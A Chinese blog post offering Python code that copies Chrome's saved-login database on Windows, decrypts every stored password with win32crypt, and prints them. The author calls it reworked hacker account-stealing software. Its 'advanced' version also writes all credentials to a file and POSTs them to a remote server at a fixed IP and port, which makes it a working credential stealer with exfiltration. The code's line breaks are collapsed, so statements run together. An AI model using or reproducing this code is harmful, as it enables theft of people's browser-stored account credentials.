使用谷歌浏览器都知道,非常人性化的一方面就是记住我们在某些网站登录的账号和密码,并且自动填写,那么我们将利用py获取谷歌浏览器上保存的所有账号和密码,对于此程序原身为黑客盗号软件,经过我的改写,它将不会这么邪恶。

简易版代码

# -*- coding: utf-8 -*-
# Software : IDLE
# version:Python 3.6.6import os
import shutil
import sqlite3
import win32cryptdb_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data')tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
print(tmp_file)
if os.path.exists(tmp_file):os.remove(tmp_file)
shutil.copyfile(db_file_path, tmp_file)conn = sqlite3.connect(tmp_file)
for row in conn.execute('select signon_realm,username_value,password_value from logins'):ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)print('网站:%-50s,用户名:%-20s,密码:%s' % (row[0][:50], row[1], ret[1].decode('gbk')))conn.close()
os.remove(tmp_file)

完整进阶版代码

# -*- coding: utf-8 -*-
# Software : IDLE
# version:Python 3.6.6import os
import shutil
import sqlite3
import win32crypt
import json
import requestsAPP_DATA_PATH = os.environ["LOCALAPPDATA"]
DB_PATH = r'Google\Chrome\User Data\Default\Login Data'class ChromePassword:def __init__(self):self.passwordsList = []def get_chrome_db(self):_full_path = os.path.join(APP_DATA_PATH, DB_PATH)_tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')if os.path.exists(_tmp_file):os.remove(_tmp_file)shutil.copyfile(_full_path, _tmp_file)self.show_passwords(_tmp_file)def show_passwords(self, db_file):conn = sqlite3.connect(db_file)_sql = '''select signon_realm,username_value,password_value from logins'''for row in conn.execute(_sql):ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)# 密码解析后得到的是字节码,需要进行解码操作_info = 'url: %-40s username: %-20s password: %s\n' % \(row[0][:50], row[1], ret[1].decode())self.passwordsList.append(_info)conn.close()os.remove(db_file)def save_passwords(self):with open('password.txt', 'w', encoding='utf-8') as f:f.writelines(self.passwordsList)def transfer_passwords(self):try:# 此处填写远端Flask对应的IP:PORTrequests.post('http://192.168.1.102:9999/index',data=json.dumps(self.passwordsList))except requests.exceptions.ConnectionError:passif __name__ == '__main__':Main = ChromePassword()Main.get_chrome_db()Main.save_passwords()Main.transfer_passwords()

运行显示

Python获取所有谷歌浏览器上保存的密码相关推荐

  1. Python语言学习:利用python获取当前/上级/上上级目录路径(获取路径下的最后叶目录的文件名、合并两个不同路径下图片文件名等目录/路径案例、正确加载图片路径)之详细攻略

    Python语言学习:利用python获取当前/上级/上上级目录路径(获取路径下的最后叶目录的文件名.合并两个不同路径下图片文件名等目录/路径案例.正确加载图片路径)之详细攻略 目录 利用python ...

  2. 查看网站上保存的密码

    Chrome有个保存账户的功能,点击保存网站账号密码,浏览器下次就记住你的号码了,自己的电脑上这样用很爽,每次点击登录按钮就可以了.但是问题来了,有一天你想在另外一台电脑上登录,忘记密码了.自己电脑上 ...

  3. python获取内存地址上存储的值

    在python中,可以通过id()这个方法来获取对象的内存地址. 但是反过来,怎么获取内存地址上存储的值? 先看一段代码: from ctypes import string_at from sys ...

  4. 用Python获取大众点评上长沙口味虾店铺信息,并进行数据分析

    口味虾又叫麻辣小龙虾.在夏天的时候,邀上三五好友,来上几盘口味虾,搭配上啤酒,肥宅的生活就这么快乐的开始了,味道麻辣爽口,一口下去就想吃下一口!在湖南,没有吃上口味虾的夏天都是不完整的. 那么湖南的吃 ...

  5. 如何查看谷歌浏览器中保存的密码

    方法/步骤 点击桌面左下角的"Win键",在"开始"菜单中找到"Google Chrome"谷歌浏览器,点击页面右上角的"自定义及 ...

  6. 使用python获取天气网页上的内容,并存入数据库

    使用python获取天气网站中的内容,并存入数据库 例如:获取 http://api.help.bj.cn/api/?id=53 中的城市,lever,quality,pm2.5 中的内容** 网站是 ...

  7. 忘记密码怎么办?如何查看网页上保存的密码

    现在我们是越来越"懒",很多网站注册的账号密码都是直接记住密码.但是很久不用突然有一天去另一台电脑使用发现密码已经忘记了,只能记住密码那台上登录.今天教大家如何查看网页中已经保存的 ...

  8. python计算利率贷款_用Python获取银行网站上的存贷款利率表

    项目背景 最近在做一个利率市场化咨询的项目,主要是协助银行搭建定价体系,提供定价策略,在充分考虑产品差异.顾客需求差异.时间差异.地点差异等因素基础上制定不同的存贷款定价方法. 在制定定价策略之前, ...

  9. 谷歌浏览器无法保存网站密码指引

    1.设置中打开这些设置:操作后重新开启浏览器测试是否有效:若无可执行第二步: 2.(先导出书签)卸载谷歌浏览器,必须删除浏览器数据.然后安装低版本谷歌浏览器,测试能否保存密码.

最新文章

  1. php 点击选择图片上传,快速实现PHP图片上传和预览
  2. proc下kcore是什么文件
  3. UA MATH563 概率论的数学基础 中心极限定理14 Kolmogorov maximal inequality
  4. 微信公众平台开发(38)一站到底在线答题
  5. NLP系列学习:前向算法和后向算法
  6. java 高级泛型_Java 泛型高级
  7. ROADS POJ - 1724(限制条件的最短路)【邻接表+深搜】
  8. 用NuGet掌管你的Vi“.NET研究”sual Studio扩展
  9. python新奇检测_3种Python检测URL状态
  10. C/C++:Windows编程—代码获取本地所有网卡信息(网卡描述,IP地址,子网掩码,MAC地址)
  11. Hadoop 高可用集群(HA)
  12. 阿里巴巴Java开发文档2020版学习-命名风格
  13. Linux基础——GCC编译器
  14. 无损对图片进行压缩软件Caesium使用方法及下载
  15. CryEngine5.3 问题
  16. linux字体不识别不了怎么办,Docker容器不识别宋体等字体的解决方案
  17. 正则表达式在JS中的应用,判断邮箱是否合法
  18. 9x07-usb state拔出usb线后状态仍为CONFIGURED,影响休眠(已解决)
  19. 交换机与路由器的基本工作原理
  20. outlook修改服务器端口号,Outlook 设置教程

热门文章

  1. Matlab中pickic_MATLAB的数字基带传输系统
  2. 思维导图——谋而致胜
  3. 在 Windows 读取 Linux 分割区的 Ext2Fsd
  4. Jetsons刷机流程
  5. MATLAB删除元胞数组中的零元素
  6. 看完这篇文章,你就明白运维监控体系了
  7. java中的json_JAVA中的四种JSON解析方式详解
  8. Eclipse项目上有红色的叉或感叹号
  9. redis 不同数据结构使用场景
  10. JAVA模拟水池进水与放水过程